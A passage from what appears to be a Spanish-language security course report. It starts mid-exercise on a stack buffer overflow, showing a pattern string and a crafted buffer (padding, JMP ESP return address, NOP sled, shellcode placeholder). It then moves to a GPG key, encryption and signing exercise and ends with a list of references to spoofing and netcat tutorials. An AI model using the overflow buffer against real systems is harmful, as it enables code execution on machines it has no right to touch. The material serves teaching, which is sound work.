Gv3Gv4Gv5Gv6Gv7Gv8Gv9Gw0Gw1Gw2Gw3Gw4Gw5Gw6Gw7Gw8Gw9Gx0Gx1Gx2Gx3Gx4Gx5G
x6Gx7Gx8Gx9Gy0Gy1Gy2Gy3Gy4Gy5Gy6Gy7Gy8Gy9Gz0Gz1Gz2Gz3Gz4Gz5Gz6Gz7Gz8Gz
9Ha0Ha1Ha2Ha3Ha4Ha5Ha6Ha7Ha8Ha9Hb0Hb1Hb2H"
Ya sabiendo esto, entonces queda buscar una instrucción que apunte a la pila
o sea al registro ESP, la instrucción más sencilla para lograrlo sería un salto al
stackpointer JMP ESP
En este caso se obtuvo que la instrucción JMP ESP tenía la siguiente dirección:
7C86A01B pero para agregarla al buffer hay que copiarla en Little endian
quedando así: 1BA0867C, entonces de momento nuestro buffer puede
conformarse así, 5094 „A‟ seguidos de la dirección de la instrucción JMP ESP,
luego una cierta cantidad de instrucciones NOP y por último el código que
queremos que la máquina ejecute.
buffer = 'A'*5094+'\x1B\xA0\x86\x7C'+'\x90'*16+Codigo para ejecutar
buffer = 'A'*5094+'\x1B\xA0\x86\x7C'+'\x90'*16+sc2
Ejercicio 1
ALICE y BOB poseen claves PGP y las han subido a un servidor de claves
PGP (utilice el servidor pgp.mit.edu).
Suponga que BOB desea enviar un mensaje a ALICE, para esto BOB debe
conseguir la clave pública (PGP) de ALICE, verificar que esta sea autentica y
cifrar los datos con dicha clave, luego ALICE podrá recibir con su clave privada.
Considere el escenario anterior pero ahora haga que BOB firme el mensaje que
se ha de enviar para proporcionar el servicio de no-repudio.
gpg --gen-key
gpg --export -a > /.gnupg/claves.asc
gpg --import archivo.con.clave
gpg --list-keys
gpg --send-keys --keyserver pgp.mit.edu
gpg --keyserver pgp.mit.edu --search-key KeyID
gpg --output documento.gpg --encrypt --recipient usuarioB@cyb.org documento
gpg --output documento --decrypt documento.gpg
gpg --output documento.sig --sign documento
gpg --fingerprint KeyID
gpg --edit-key KeyID
man gpg<
Para implementar este escenario no serán Bob y Alice los personajes sino
Camilo y Johana
Camilo y Johana crean sus claves y las suben al servidor pgp.mit.edu.co
gpg --gen-key
Aparecen las siguientes opciones, se selecciona la (5) que crea una clave que
firma con RSA, más adelante se le dara a la clave propiedades para cifrar.
You need a user ID to identify your key; the software constructs the
user ID
from the Real Name, Comment and Email Address in this form:
"Heinrich Heine (Der Dichter) <heinrichh@duesseldorf.de>"
Luego piden que se agregue una Frase de paso (Pasphrase), hay que copiarla
2 veces y no puede olvidarse, por lo general una frase sencilla de recordar que
uno mismo se invente
Para crear la clave secundaria que permita cifrar los documentos se usa el
comando:
Command>
Previo al envio de las claves es bueno ver si están correctas, para esto se usa
el comando
gpg --list-keys
THUNDERBIRD: http://enigmail.mozdev.org/
OUTLOOK: http://www.gpg4win.org/
El proceso para firmar y cifrar e-mails es muy sencillo e intuitivo, ya que las
herramientas necesarias para hacerlo están integradas en la ventana de
redacción del e-mail. Hay incluso una opción para adjuntar la firma pública en
el e-mail.
Para configurar GnuPG en Windows, específicamente para Outlook y Outlook
Express, es necesario descargar el Gppg4win e instalarlo.
Luego se siguen pasos similares a los que ya se habían visto con el gpg y con
el Thunderbird
Permite crear una copia de seguridad de las claves
Se introduce la frase de paso (Passphrase)
Para que estas claves generadas con Gpg4win funcionen con Outlook es
necesario descargar el paquete gpgoe que integra las funciones de PGP a
Outlook.
Al dar clic en Enviar el mensaje es cifrado y firmado con la clave pública del
usuario.
REFERENCIAS
http://www.kubuntu-es.org/wiki/seguridad/e-mails-encriptados-firmados-thunderbird-enigmail-
gnupg
http://ubuntuforums.org/showthread.php?t=650791
http://ubuntulife.wordpress.com/2007/03/15/instalar-un-servidor-ssh/
http://www.gpltarragona.org/archives/421
http://www.acis.org.co/fileadmin/Articulos/TecnicasAtaqueComputacionForense.pdf
http://code.activestate.com/recipes/212198/
http://www.faqs.org/rfcs/rfc2435.html
http://www.linux.com/archive/feature/61025
http://ldn.linuxfoundation.org/node/28969
http://dns.bdat.net/documentos/cortafuegos/x267.html
http://www.pizon.org/articles/building-a-linux-firewall-with-iptables.html
http://www.irongeek.com/i.php?page=security/ettercapfilter
http://forums.remote-exploit.org/newbie-area/14042-netcat-port-redirection-b-option.html
http://foro.latinohack.com/f380/dns-spoofing-usando-ettercap-en-ubuntu-v-getah-23180/
http://openmaniak.com/ettercap_filter.php
http://www.sahw.com/wp/archivos/2008/12/01/auditoria-forense-file-carving-con-foremost/
http://geek00l.blogspot.com/2009/01/ubuntu-unicornscan-revisit.html
http://sectools.org/tools4.html
http://0verl0ad.blogspot.com/2008/09/http-headers-iii-banner-grabbing.html
http://www.baxware.com/escaners-puerto-red-portscanner.htm
http://nideaderedes.urlansoft.com/2009/05/15/introduccion-a-bash-pasar-argumentos-a-un-
script-bash/
http://www.ubuntugeek.com/how-to-install-java-runtime-environment-jre-in-ubuntu.html
http://www.estrellateyarde.es/so/lo-mas-basico-terminal-linux
http://sanchez-soft.blogspot.com/2006/07/java-cear-una-aplicacin-web-con.html
http://nonroot.blogspot.com/2009/08/wargame-in-cp-2009-valencia.html
http://www.securitydocs.com/library/3376
http://www.ol-service.com/sikurezza/doc/netcat_eng.pdf
http://www.wikilearning.com/tutorial/tutorial_de_netcat-introduccion/629-1
http://es.tldp.org/COMO-INSFLUG/COMOs/Bash-Prog-Intro-COMO/
http://www.wikilearning.com/tutorial/iptables_manual_practico-que_es_un_firewall/6439-1
http://www.docstoc.com/docs/9852261/ARP-Spoofing-Tutorial/
http://andy.wordpress.com/2008/07/10/sniffing-http/
http://www.dest-unreach.org/socat/doc/socat.html
http://www.radarhack.com
Y muchas otras más que fueron de gran utilidad pero que en el momento no
recuerdo.